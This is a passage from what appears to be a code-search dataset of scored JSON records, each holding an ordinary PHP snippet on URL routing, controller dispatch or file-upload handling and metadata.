\n if ($nOptionalParam>1){\n $url2[1]=explode('&', $url2[1]);\n // var_dump ($nOptionalParam);\n // echo $nOptionalParam;\n if($nOptionalParam> 2){\n \n $paramOptional = [];\n for($i = 1; $i<$nOptionalParam; $i++){\n \n \n \n array_push($paramOptional, $url2[$i]);\n \n }\n // var_dump ($url2);\n $Route->{$url[1]}($paramOptional);\n }\n else{\n $Route->{$url[1]}($url2[1]);\n }\n\n }\n else $Route->{$url[1]}();\n \n }\n }\n else{\n if ($nOptionalParam>1){\n $url2[1]=str_replace(\"id=\",\"\",$url2[1]);\n $Route->render($url2[1]);\n }\n else{\n // echo $url2[1];\n $Route->render(null);\n }\n }\n }else{\n echo \"Error route Does not exist\";\n }\n }", "title": "" }, { "docid": "1b8596ac4c16136344560f653f980603", "score": "0.5682408", "text": "private function siteRoutes()\n {\n $fileName = 'site_routes.xml';\n $this->file = $this->baseDir . '/' . $fileName;\n $this->clearAndPrepareLinkSet();\n $this->addURLToLinkSet( 'deepmikoto_app_homepage' );\n $this->addURLToLinkSet( 'deepmikoto_app_coding' );\n $this->addURLToLinkSet( 'deepmikoto_app_gaming' );\n $this->addURLToLinkSet( 'deepmikoto_app_photography' );\n $this->addURLToLinkSet( 'deepmikoto_app_help_page' );\n $this->addURLToLinkSet( 'deepmikoto_app_coding_categories' );\n $this->closeLinkSetFile();\n $this->output->writeln('Completed site routes');\n }", "title": "" }, { "docid": "55f97d883e287d91d1d6c628ecb822f3", "score": "0.5652258", "text": "public function __construct()\n {\n $arr = require 'application/config/routes.php';\n foreach ($arr as $key => $val){\n $this->add($key,$val); // Перебирает массив и записывает в функцию add (route,params)\n }\n\n\n // элементы массива стали выржаниеями '#^'..\"$#'\n //debug($this->routes);\n }", "title": "" }, { "docid": "2b0316395c2e98f75d4f3e6b4b68bf2e", "score": "0.56500715", "text": "public function getRoute() {\n return $this->path . $this->name;\n }", "title": "" }, { "docid": "e32163259d087a0998c6cb0657295e15", "score": "0.5644571", "text": "public function setRoutes() : ?bool\n {\n $routesContents = file_get_contents(base_path('routes/web.php'));\n $stubsContents = file_get_contents(__DIR__.'../../stubs/routes.stub');\n if(!strpos($routesContents, $stubsContents))\n {\n file_put_contents(\n base_path('routes/web.php'),\n $stubsContents,\n FILE_APPEND\n );\n return $this->info(__('AclLang::commands.route'));\n }\n return $this->info(__('AclLang::commands.route_exists'));\n }", "title": "" }, { "docid": "da4e96e89f4d3403fe81a7acb8e37c62", "score": "0.56385595", "text": "public function getGetRoutes() :array;", "title": "" }, { "docid": "47d714c30e10f093adf626ae864590b6", "score": "0.5636257", "text": "function beforeroute(){\r\n\t\t$aa =(int)$this->f3->get('PARAMS.idproduk');\t\r\n\r\n\t\tif($this->f3->get('SESSION.user')===null && $aa===0){\r\n\t\t\t\t$this->f3->reroute('/home');\r\n\t\t\t\texit;\r\n\t\t}\r\n\t\telse if($aa!=null){\r\n\t\t}\r\n\t\t\r\n\t}", "title": "" }, { "docid": "9aa8fe7eb089a55d27652fe17612fa40", "score": "0.56312037", "text": "function get_route($name,$args=null){\n\n $lambda_args_function = args_parser_lambda($args);\n\n switch ($name){\n\n CASE \"add_family\":\n return 'index.php?ressource=family&add=true';\n\n CASE \"edit_family\":\n return 'index.php?ressource=family'.$lambda_args_function('ID').'&edit=true';\n\n CASE \"display_family\":\n return 'index.php?ressource=family'.$lambda_args_function('ID');\n\n CASE \"display_families\":\n return 'index.php?ressource=family&order_by=name&order=ASC';\n\n CASE \"edit_family_member\":\n return 'index.php?ressource=family_member'.$lambda_args_function('ID').'&edit=true';\n\n CASE \"delete_family_member\":\n return 'index.php?ressource=family_member'.$lambda_args_function('ID').'&delete=true';\n\n CASE \"add_family_member\":\n return 'index.php?ressource=family_member&add=true';\n\n CASE \"display_lesson\":\n return 'index.php?ressource=lesson';\n\n CASE \"display_cahier\":\n return 'index.php?ressource=join_family_member_lesson';\n\n CASE \"obtain_cahier\":\n return 'index.php?ressource=join_family_member_lesson&action=obtain_cahier';\n\n CASE \"obtain_carton\":\n return 'index.php?ressource=join_family_member_lesson&action=obtain_carton';\n\n CASE \"add_lesson\":\n return 'index.php?ressource=lesson&add=True';\n\n CASE \"search_lesson\":\n return 'index.php?ressource=lesson&action=search'.$lambda_args_function('filter').'';\n\n CASE \"delete_join_family_member\":\n return 'index.php?ressource=join_family_member_lesson&delete=True'.$lambda_args_function('ID').'&ToConfirm=True';\n\n CASE \"obtain_inscription_payment\":\n return 'index.php?ressource=payment&action=obtain_inscription_payment'.$lambda_args_function('ID');\n\n\n }\n throw new UnexpectedValueException(NO_ROUTE.\": \".$name);\n}", "title": "" }, { "docid": "e5ea4c0ad4bad23a0ede99f8d55df1fa", "score": "0.5630265", "text": "private function _setRoute()\r\n\t{\r\n\t\t// default route naming from $uri:\r\n\t\t// [0] : controller-name -> ControllerNameController\r\n\t\t// [1] : action-name -> actionNameAction\r\n\t\t// the rest are value pairs of data\r\n\r\n\t\t$paths = explode('/',$this->_uri);\r\n\r\n\t\t// first uri value is controller\r\n\t\tif (isset($paths[0]) && trim($paths[0])) {\t\r\n\t\t\t// create the formated controller name\r\n\t\t\t$this->_setControllerName(array_shift($paths));\r\n\r\n\t\t\t//second uri value is method\r\n\t\t\tif (isset($paths[0]) && trim($paths[0])) {\t\r\n\t\t\t\t// create the formated action name\r\n\t\t\t\t$this->_setActionName(array_shift($paths));\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "387b16e1cb0fd6bc6bdfc18d3ad5c401", "score": "0.5625916", "text": "public function isRoutingEnabled();", "title": "" }, { "docid": "2d49a3bef7139469babaec01d848dacd", "score": "0.56219846", "text": "public static function route() {\n // zodat we stap voor stap kunnen uitlezen welke pagina de gebruiker heeft opgevraagd\n self::$requestUri = isset($_GET['q']) ? $_GET['q'] : '';\n $components = explode('/', self::$requestUri);\n\n if (count($components) >= 1 && strlen($components[0]) >= 1) {\n $handler = Util::toCamelCase($components[0]);\n\n // als de opgevraagde pagina een menuitem betreft, bewaar dan nog even welke dit was\n if (self::isMenuItem($handler))\n $handler = 'PostList';\n else\n array_shift($components);\n }\n else {\n self::$requestUri = 'index';\n $handler = 'Index';\n }\n\n $className = 'Handler_' . $handler;\n\n // check whether class exists\n if (!class_exists($className) || !is_subclass_of($className, 'Handler'))\n self::notFound();\n\n // check whether class is abstract\n $reflectionClass = new ReflectionClass($className);\n if ($reflectionClass->isAbstract())\n self::notFound();\n\n self::$handler = new $className($components);\n self::$handler->handleRequest();\n }", "title": "" }, { "docid": "290fc7d259d919aa60b122dd3123ffcd", "score": "0.5621858", "text": "private function uri_to_controller()\n {\n $arControlMethod404 = array(\"controller\"=>\"homes\",\"method\"=>\"error_404\");\n \n $arRequestedURI = $this->arRequestedURI;\n //bug($this->arConfigSame,\"same\"); bug($this->arConfigSame1,\"same+1\");\n //como se están comprobando rtuas+1 se añade el item vacio\n $arRequestedURI[]=\"\";\n foreach($this->arConfigSame1 as $arConfigRoute)\n {\n $sConfigURI = $arConfigRoute[\"request_uri\"];\n $sConfigURIClean = $sConfigURI;\n \n $this->isPage=FALSE;\n if($this->has_page_pattern($sConfigURI))\n $this->isPage=TRUE;\n //quito las marcas de paso de parametros a GET\n $this->remove_params($sConfigURIClean);\n $arConfigClean = explode(TFW_WS,$sConfigURIClean);\n \n //bug($arConfigClean,$arRequestedURI);\n $isMatchAll = $this->match_all_pieces($arConfigClean,$arRequestedURI);\n if($isMatchAll) \n {\n if(!$arConfigRoute[\"controller\"]) $arConfigRoute[\"controller\"] = $this->arRequestedURI[0];\n if(!$arConfigRoute[\"method\"]) $arConfigRoute[\"method\"] = \"get_list\";\n $this->arConfigRouteFound = $arConfigRoute;\n $this->arConfigURIFound = explode(TFW_WS,$sConfigURI);\n //bug($this->arRequestedURI,\"arRequestURI\");bug($this->arRouteFound,\"routefound\");die;\n return $this->arConfigRouteFound;\n }\n }//fin foreach arConfigSame1\n \n \n foreach($this->arConfigSame as $arConfigRoute)\n {\n $sConfigURI = $arConfigRoute[\"request_uri\"];\n $sConfigURIClean = $sConfigURI;\n \n $this->isPage=FALSE;\n if($this->has_page_pattern($sConfigURI))\n $this->isPage=TRUE;\n \n //quito todas las marcas tipo :id:<subcadena o patron>:id:\n $this->remove_params($sConfigURIClean);\n //Comprueba la URI de la ruta_i con la URI pedida en trozos\n $arConfigClean = explode(TFW_WS,$sConfigURIClean);\n //bug($arConfigClean,\"same: ConfigUri\");bug($this->arRequestedURI,\"same: requested URI\");\n $isMatchAll = $this->match_all_pieces($arConfigClean,$this->arRequestedURI);\n if($isMatchAll) \n {\n if(!$arConfigRoute[\"controller\"]) $arConfigRoute[\"controller\"] = $this->arRequestedURI[0];\n if(!$arConfigRoute[\"method\"]) $arConfigRoute[\"method\"] = \"get_list\";\n $this->arConfigRouteFound = $arConfigRoute;\n $this->arConfigURIFound = explode(TFW_WS,$sConfigURI);\n //bug($this->arRequestedURI,\"arRequestURI\");bug($this->arRouteFound,\"routefound\");die;\n return $this->arConfigRouteFound;\n }\n }//fin foreach $arConfigSame\n //die(\"end_uri_to_controller\");\n \n return $arControlMethod404;\n }", "title": "" }, { "docid": "cea6c256470cb11e044eb1148ad62959", "score": "0.5608775", "text": "public function getRoute()\n\t{\n\t\treturn $this->_route;\n\t}", "title": "" }, { "docid": "a9612044384fc88e058696d31003c78f", "score": "0.5607706", "text": "public function route()\n {\n $routelist = $this->Route->find()->where(['status'=>1])->toArray();\n $this->set('routelist',$routelist);\n }", "title": "" }, { "docid": "b9fef73143edfa39a84920c3cdf1586e", "score": "0.5603657", "text": "public function getRoute()\n {\n return isset($this->data['request_attributes']['_route']) ? $this->data['request_attributes']['_route'] : '';\n }", "title": "" }, { "docid": "0a541ade1ff855be333c7395941bdb99", "score": "0.55998826", "text": "public function getRoutePathRedecorationPattern(): string;", "title": "" }, { "docid": "b2206c6ad397221a0eef0c3244fc0ad8", "score": "0.55979216", "text": "public function getRoute()\n {\n return $this->route;\n }", "title": "" }, { "docid": "b2206c6ad397221a0eef0c3244fc0ad8", "score": "0.55979216", "text": "public function getRoute()\n {\n return $this->route;\n }", "title": "" }, { "docid": "b2206c6ad397221a0eef0c3244fc0ad8", "score": "0.55979216", "text": "public function getRoute()\n {\n return $this->route;\n }", "title": "" }, { "docid": "b2206c6ad397221a0eef0c3244fc0ad8", "score": "0.55979216", "text": "public function getRoute()\n {\n return $this->route;\n }", "title": "" }, { "docid": "b2206c6ad397221a0eef0c3244fc0ad8", "score": "0.55979216", "text": "public function getRoute()\n {\n return $this->route;\n }", "title": "" }, { "docid": "56727162f60ce5a301c4b2288a511e01", "score": "0.5597541", "text": "abstract protected function genSourceRoute($liturgyDate);", "title": "" } ]
6abe0a8b991fb325275a9f31d4d9c148
Get uploaded file details
[ { "docid": "1f2e67c0d1eabb673dce3cdb9c7fadda", "score": "0.67258203", "text": "public function getFileDetails( $file )\n\t{\n\t\t$file_details = [];\n\t\t//Display File Name\n\t\t$file_details[ 'file_name' ] = $file->getClientOriginalName();\n\n\t\t//Display File Extension\n\t\t$file_details[ 'file_ext' ] = $file->getClientOriginalExtension();\n\n\t\t//Display File Real Path\n\t\t$file_details[ 'file_real_path' ] = $file->getRealPath();\n\n\t\treturn $file_details;\n\t}", "title": "" } ]
[ { "docid": "acc99f2d51c2a92c16e63865b9b1b7a3", "score": "0.761728", "text": "public function getFileDetails()\n {\n try {\n $dbConn = $this->entityManager->createQueryBuilder();\n\n $fileDetails = $dbConn->select('fu.id,fu.fileName,fu.fileSize,fu.mimeType,fu.filePath')\n ->from(FileUpload::class, 'fu')\n ->getQuery()\n ->execute();\n\n return $fileDetails;\n } catch (\\DoctrineException $dExc) {\n $this->logger->error(\"DoctrineException while getting the details of file.\" . $dExc->getMessage());\n throw new \\Exception($dExc->getMessage());\n } catch (\\Exception $ex) {\n $this->logger->error(\"Exception while getting the file details.\" . $ex->getMessage());\n throw new \\Exception($ex->getMessage());\n }\n }", "title": "" }, { "docid": "b281fcd4b4904358c669debb6630e8b8", "score": "0.72074467", "text": "public function file(){\n return $this->file;\n }", "title": "" }, { "docid": "f944a1cf56ed669f0c7fdcab15168942", "score": "0.71151745", "text": "public function getFileInfo()\n {\n return $this->fileInfo;\n }", "title": "" }, { "docid": "b421a044872823203cf909813686168c", "score": "0.7102509", "text": "public function getFile()\r\n {\r\n return $this->file;\r\n }", "title": "" }, { "docid": "3d505cfadc1d389129a6abde376b24bd", "score": "0.7100007", "text": "public function getUploadedFile()\n {\n return $this->target_file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.70689124", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "c32edf62c5a36a3d161f37eab60b461d", "score": "0.70656806", "text": "protected function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "78633916bc0c1874b2933d76b3b5bdd6", "score": "0.7057167", "text": "public function getFile()\n {\n return isset($this->_file) ? $this->_file :\n $this->_file = UploadedFile::getInstanceByName($this->uploadName);\n }", "title": "" }, { "docid": "daff6585d6ede2d669e9651a2c64b5e4", "score": "0.7041692", "text": "public function getFile() {\n return $this->file;\n }", "title": "" }, { "docid": "2e4eb9f3f2b13249883ceddd041d3bec", "score": "0.7038261", "text": "public function file()\n {\n return $this->file;\n }", "title": "" }, { "docid": "0863cf02df5b1661f6ea0165a722e12f", "score": "0.7000941", "text": "public function getFile()\n {\n return $this->_file;\n }", "title": "" }, { "docid": "3de752f3adcf7cfa2c4a86ef24e40024", "score": "0.69903183", "text": "public function getFile() {\r\n\t\treturn $this->file;\r\n\t}", "title": "" }, { "docid": "9b022743afd1bba7f266963fd3ee2305", "score": "0.695011", "text": "public function getFile() {\n\t\treturn $this->file;\n\t}", "title": "" }, { "docid": "9b022743afd1bba7f266963fd3ee2305", "score": "0.695011", "text": "public function getFile() {\n\t\treturn $this->file;\n\t}", "title": "" }, { "docid": "6d9e33b62f9db3304b7288f0af192f93", "score": "0.69376636", "text": "public function getFileUpload()\n {\n return $this->getOption('file');\n }", "title": "" }, { "docid": "f548b15b424e3e49c3042a9ec3826954", "score": "0.69235224", "text": "public function getFile() {\r\n\t\treturn $this->_file;\r\n\t}", "title": "" }, { "docid": "3fb27ae0f23953ad5e068bd953807105", "score": "0.6749587", "text": "public function getFile(){\n\n return $this->$file;\n \n }", "title": "" }, { "docid": "361232e14044a152f5079e8dbe78fb04", "score": "0.67485535", "text": "public function getUploadedFiles();", "title": "" }, { "docid": "82c6797187d06a3441db7b042b69d98e", "score": "0.6725959", "text": "public function getFile(){\n $file = array('error' => True);\n if ($_FILES[\"file\"][\"error\"] > 0){\n $file['desc'] = $_FILES[\"file\"][\"error\"];\n }else{\n $file['name'] = $_FILES[\"file\"][\"name\"];\n $file['type'] = $_FILES[\"file\"][\"type\"];\n $file['size'] = $_FILES[\"file\"][\"size\"];\n $file['tmp_name'] = $_FILES[\"file\"][\"tmp_name\"];\n $file['error'] = False;\n }\n return $file;\n }", "title": "" }, { "docid": "a05b11c18ef850c73e1fdf182d141b28", "score": "0.6724665", "text": "public function test_get_file_details_with_actual_file() {\n $this->resetAfterTest();\n\n // Log student in.\n $this->setUser($this->student1);\n $usercontext = context_user::instance($this->student1->id);\n\n $file = create_test_file(0, $usercontext->id, 'user', 'draft');\n\n $tssubmission = new plagiarism_turnitinsim_submission( new plagiarism_turnitinsim_request() );\n $tssubmission->setidentifier($file->get_pathnamehash());\n\n $file = $tssubmission->get_file_details();\n $this->assertTrue( is_a($file, 'stored_file') );\n }", "title": "" }, { "docid": "c07565f67e7ad25bbf80b1b7b81ce28b", "score": "0.671982", "text": "public function getFile(): string {\n return $this->file;\n }", "title": "" }, { "docid": "f609c30234e28932eb5dc6fca3fed038", "score": "0.667532", "text": "private function fileInfo() {\n\t\t// is allowed file?\n\t\t// let php try and get it first\n\t\t$mimeType = false; //mime_content_type($this->originalFile['tmp_name']);\n\t\tif(!$mimeType || $mimeType == \"application/octet-stream\") {\n\t\t\t// if useless then try whatever the browser sent us\n\t\t\t$mimeType = $this->originalFile['type'];\n\t\t}\n\t\tif(!$mimeType || $mimeType == \"application/octet-stream\") {\n\t\t\t// if no luck then try the file extension\n\t\t\t$mimeType = $this->getExt($this->originalFile['name']);\n\t\t}\n\t\t\n\t\t// no allowed mime type\n\t\tif(!$mimeType || $mimeType == \"application/octet-stream\") {\n\t\t\t$mimeType = false;\n\t\t}\n\t\t\n\t\t$return = false;\n\t\t\n\t\tforeach($this->typeProcess as $type => $mimeArray){\n\t\t\tif(in_array($mimeType, $mimeArray)){\n\t\t\t\t$return = $type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\n\t\tif($return)\t{\n\t\t\treturn $return;\n\t\t}else{\n\t\t\t$this->errors .= 'The type of file ('.$mimeType.') you tried to upload is not in our allowed types. '.\"\\r\\n\";\n\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "4b24f3c4b459b2a273d707ae4ca96c11", "score": "0.66726136", "text": "public function get_file();", "title": "" }, { "docid": "e80ea434238e4e73563fe27107d6769c", "score": "0.6625576", "text": "public function getFile()\n\t{\n\t\treturn $this->image;\n\t}", "title": "" }, { "docid": "423486c5e0824a76d5e73ca188004669", "score": "0.66080445", "text": "private function handleFile()\n {\n global $config;\n $file = array_shift($_FILES);\n if (DEBUG) var_dump('file: ', $file);\n $maxUploadSize =\n (isset($config['env']) && isset($config['env']['max_upload_size']))\n ? $config['env']['max_upload_size']\n : 1000000\n ;\n if (DEBUG) var_dump('max file size: ', $maxUploadSize);\n if (DEBUG) var_dump('upload file size: ', $file['size']);\n if (DEBUG && VERBOSE) var_dump('file name and length: ', $file['name'], strlen($file['name']));\n if (is_array($file) && !$file['error'] &&\n $file['size'] < $maxUploadSize && // maximum file size\n strlen($file['name']) < 40 // maximum file name length\n ) {\n $fileType = '';\n if (DEBUG && VERBOSE) echo 'analyzing file...';\n if (MediaFile::imageFileType($file['tmp_name'], $file['name'])) {\n $fileType = 'image';\n } else if (MediaFile::audioFileType($file['tmp_name'], $file['name'])) {\n $fileType = 'audio';\n }\n if (DEBUG && VERBOSE) var_dump('file type: ', $fileType);\n if ($fileType) {\n $file['type'] = $fileType;\n return $file;\n }\n }\n\n return null;\n }", "title": "" }, { "docid": "e79b5bb11ef89d4fd9772d30a4e440a6", "score": "0.66002965", "text": "public function fileInfo($file,$path){\r\n if($file->isReadable()){\r\n $item = $this->fileDetails;\r\n $item[\"filename\"] = $file->getFilename();\r\n $item[\"filetype\"] = $file->getExtension();\r\n $item[\"lastmodified\"] = $file->getMTime();\r\n $item[\"size\"] = $file->getSize();\r\n if ($this->isImage($file)) {\r\n $thumb = $this->firstThumb($file,$path);\r\n if($thumb){\r\n $item['preview'] = $this->config['url'].$this->config['source'].'/'.$this->config['folder_thumb'].$path.$thumb;\r\n }\r\n }\r\n $item['previewfull'] = $this->config['url'].$this->config['source'].$path.$item[\"filename\"];\r\n return $item;\r\n }else{\r\n return ;\r\n }\r\n }", "title": "" }, { "docid": "ce42bc391c9a8d21eb6085f66b04ec59", "score": "0.6566519", "text": "public function getFileEntry(){\n\t\treturn $this->fileEntry;\n\t}", "title": "" }, { "docid": "b4ca59bf46ac504f6ad0ccf693af577b", "score": "0.6534521", "text": "public function getOriginalFile()\n {\n return $this->originalFile;\n }", "title": "" }, { "docid": "13b55dd3909e0bd4b9b170bfc486a932", "score": "0.65303224", "text": "public static function get_file() {\n\n return self::$file;\n\n }", "title": "" }, { "docid": "3545f207cd38722f56f404d5038de6fd", "score": "0.64917", "text": "public function getUploadedFiles()\n {\n return $this->uploadedFiles;\n }", "title": "" }, { "docid": "1898e4cbd1d7a41a4fbda92538897d86", "score": "0.64887327", "text": "private function getUploadedFileDetails($protocol_shortname, $cleanfilename)\n {\n if($cleanfilename == '')\n {\n return NULL;\n } \n \n $uri = 'public://library/'.$cleanfilename;\n $url = file_create_url($uri);\n $filepath = drupal_realpath($uri);\n if(!file_exists($filepath))\n {\n try\n {\n //Pull it out of the database.\n $blob_result = db_select('raptor_protocol_lib_uploads','p')\n ->fields('p')\n ->condition('protocol_shortname', $protocol_shortname, '=')\n ->condition('filename', $cleanfilename, '=')\n ->execute();\n if($blob_result->rowCount() == 1)\n {\n $blob_record = $blob_result->fetchAssoc(); //There will at most be one record.\n $file_blob = $blob_record['file_blob'];\n if($file_blob == NULL)\n {\n $mywarning = \"Expected to find a scanned file blob for [$protocol_shortname + $cleanfilename] but record was empty!\";\n error_log($mywarning);\n drupal_set_message($mywarning, 'warning');\n return NULL;\n } else {\n file_put_contents($filepath, $file_blob); //Write it to the path.\n }\n }\n } catch (\\Exception $ex) {\n error_log('Failed to extract scanned document from database for '.$protocol_shortname.' because '.$ex->getMessage());\n throw $ex;\n }\n }\n $details = array();\n $details['uri'] = $uri;\n $details['url'] = $url;\n $details['filepath'] = $filepath;\n return $details;\n }", "title": "" }, { "docid": "5dfd6083415c4ffdb9c856952209a241", "score": "0.6468141", "text": "public static function get_file() {\n\t\n\t\treturn self::$file;\n\t\n\t}", "title": "" }, { "docid": "e4b47db910f54c253680abb7c48506dc", "score": "0.64499557", "text": "public function getImageFile()\n {\n return $this->imageFile;\n }", "title": "" }, { "docid": "e4b47db910f54c253680abb7c48506dc", "score": "0.64499557", "text": "public function getImageFile()\n {\n return $this->imageFile;\n }", "title": "" }, { "docid": "e4b47db910f54c253680abb7c48506dc", "score": "0.64499557", "text": "public function getImageFile()\n {\n return $this->imageFile;\n }", "title": "" }, { "docid": "24a9131cd2a217c465e513fb9ad881de", "score": "0.64470637", "text": "public function getFieldFile() {\r\n\t\t$ret = null;\r\n\t\tforeach($this->fields as $f) {\r\n\t\t\tif ($f['type'] == 'file')\r\n\t\t\t\t$ret[] = $f['name'];\r\n\t\t}\r\n\t\treturn $ret;\r\n\t}", "title": "" }, { "docid": "dbb4e31f1238a806de07703bb0428cd7", "score": "0.6438432", "text": "public function getFileData()\n {\n return $this->fileData;\n }", "title": "" }, { "docid": "3ba2fac145be704d2d7515829673c487", "score": "0.64362204", "text": "public function getImageFile() {\n return $this->imageFile;\n }", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.6420698", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.6420698", "text": "public function getFile();", "title": "" }, { "docid": "05b9d3ce3d1467d009ac1391b929d6f7", "score": "0.64066917", "text": "public function filePath() \n {\n return $this->file;\n }", "title": "" }, { "docid": "29365594dc18a732bccf90ec21395343", "score": "0.6403934", "text": "public static function listAttach(){\n $ret = bbs_upload_read_fileinfo();\n return (array)$ret;\n }", "title": "" }, { "docid": "056bc14c81306ccdbf1a930e6a8fa772", "score": "0.64026827", "text": "public function getFile()\n {\n return (empty($this->file))?null:$this->file;\n }", "title": "" }, { "docid": "3111f09b8491ae4273eb6d1eb2b9175c", "score": "0.63966817", "text": "public function getMyFileMeta()\n {\n return $this->myFileMeta;\n }", "title": "" }, { "docid": "eb75b0bc24ec03215b9cf596c22941f3", "score": "0.6391707", "text": "protected function fileDetails($path)\n {\n //$path = '/' . ltrim($path, '/');\n $path = $path;\n\n return [\n 'name' => basename($path),\n 'fullPath' => $path,\n 'realFullPath' => $this->realFullPath($path),\n 'webPath' => $this->fileWebpath($path),\n 'mimeType' => $this->fileMimeType($path),\n 'size' => $this->fileSize($path),\n 'modified' => $this->fileModified($path),\n 'type' => $this->filetype($path)\n ];\n }", "title": "" }, { "docid": "9e34216a8450689aa688edef085cc04b", "score": "0.6374296", "text": "function fileDetail($sFilePath) {\n\t\tif (is_file ( $sFilePath )) {\n\t\t\t// Gather relevent info about file\n\t\t\t$File ['size'] = filesize ( $sFilePath );\n\t\t\t$File ['name'] = basename ( $sFilePath );\n\t\t\t$File ['extension'] = strtolower ( substr ( strrchr ( $File ['name'], \".\" ), 1 ) );\n\t\t\t$File ['modified'] = date ( \"F d Y H:i:s.\", filemtime ( $sFilePath ) );\n\t\t\t$File ['accessed'] = date ( \"F d Y H:i:s.\", fileatime ( $sFilePath ) );\n\t\t\t$File ['path'] = $sFilePath;\n\t\t\t// This will set the Content-Type to the appropriate setting for the\n\t\t\t// file\n\t\t\tswitch ($File ['extension']) {\n\t\t\t\tcase \"pdf\" :\n\t\t\t\t\t$ctype = \"application/pdf\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"exe\" :\n\t\t\t\t\t$ctype = \"application/octet-stream\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"zip\" :\n\t\t\t\t\t$ctype = \"application/zip\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"doc\" :\n\t\t\t\t\t$ctype = \"application/msword\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"xls\" :\n\t\t\t\t\t$ctype = \"application/vnd.ms-excel\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"ppt\" :\n\t\t\t\t\t$ctype = \"application/vnd.ms-powerpoint\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"gif\" :\n\t\t\t\t\t$ctype = \"image/gif\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"png\" :\n\t\t\t\t\t$ctype = \"image/png\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"jpeg\" :\n\t\t\t\tcase \"jpg\" :\n\t\t\t\t\t$ctype = \"image/jpg\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"mp3\" :\n\t\t\t\t\t$ctype = \"audio/mpeg\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"wav\" :\n\t\t\t\t\t$ctype = \"audio/x-wav\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"mpeg\" :\n\t\t\t\tcase \"mpg\" :\n\t\t\t\tcase \"mpe\" :\n\t\t\t\t\t$ctype = \"video/mpeg\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"mov\" :\n\t\t\t\t\t$ctype = \"video/quicktime\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"avi\" :\n\t\t\t\t\t$ctype = \"video/x-msvideo\";\n\t\t\t\t\tbreak;\n\t\t\t\t// The following are for extensions that shouldn't be downloaded\n\t\t\t\t// (sensitive stuff, like php files)\n\t\t\t\tcase \"txt\" :\n\t\t\t\t\tdie ( \"<b>Cannot be used for \" . $File ['extension'] . \" files!</b>\" );\n\t\t\t\t\tbreak;\n\t\t\t\tdefault :\n\t\t\t\t\t$ctype = \"application/force-download\";\n\t\t\t}\n\t\t\t$File ['type'] = $ctype;\n\t\t\treturn $File;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "9e3d7e352839b05f8d00afcad7c424fc", "score": "0.6367845", "text": "function retrieve()\n\t{\n\t\t$this->status_code = UPLOAD_ERR_NO_FILE;\n\t\t$this->status_description = \"no file\";\n\t\t\n\t\tif( ! isset($_FILES[$this->_name]) )\n\t\t\treturn;\n\t\t\t\n\t\t$status_code = cast(\"int\", $_FILES[$this->_name]['error']);\n\t\t$name = cast(\"string\", $_FILES[$this->_name]['name']);\n\t\t$type = cast(\"string\", $_FILES[$this->_name]['type']);\n\t\t$size = cast(\"int\", $_FILES[$this->_name]['size']);\n\t\t$tmp_name = cast(\"string\", $_FILES[$this->_name]['tmp_name']);\n\t\t\n\t\t// Check status:\n\t\t$status_to_description = array(\n\t\t\tUPLOAD_ERR_OK => \"file upload succeeded\",\n\t\t\tUPLOAD_ERR_INI_SIZE => \"file too big ($size B), check upload_max_filesize in php.ini\",\n\t\t\tUPLOAD_ERR_FORM_SIZE => \"file too big ($size B), check hidden field MAX_FILE_SIZE\",\n\t\t\tUPLOAD_ERR_PARTIAL => \"partial upload\",\n\t\t\tUPLOAD_ERR_NO_FILE => \"no file uploaded or name missing\",\n\t\t\tUPLOAD_ERR_NO_TMP_DIR => \"missing temporary destination directory or other server configuration problem\",\n\t\t\tUPLOAD_ERR_CANT_WRITE => \"failed writing temporary file\",\n\t\t\tUPLOAD_ERR_EXTENSION => \"upload interrupted by extension\"\n\t\t);\n\t\t$status_description = \"\";\n\t\tif( isset($status_to_description[$status_code]) )\n\t\t\t$status_description = $status_to_description[$status_code];\n\t\telse\n\t\t\t$status_description = \"failed upload, code $status_code\";\n\t\t\n\t\t$this->status_code = $status_code;\n\t\t$this->status_description = $status_description;\n\t\t\n\t\tif( $status_code == UPLOAD_ERR_OK ){\n\t\t\t// We have a file.\n\t\t} else if( $status_code == UPLOAD_ERR_NO_FILE ){\n\t\t\treturn; // No upload. Keep current file.\n\t\t} else {\n\t\t\tLog::error(\"file 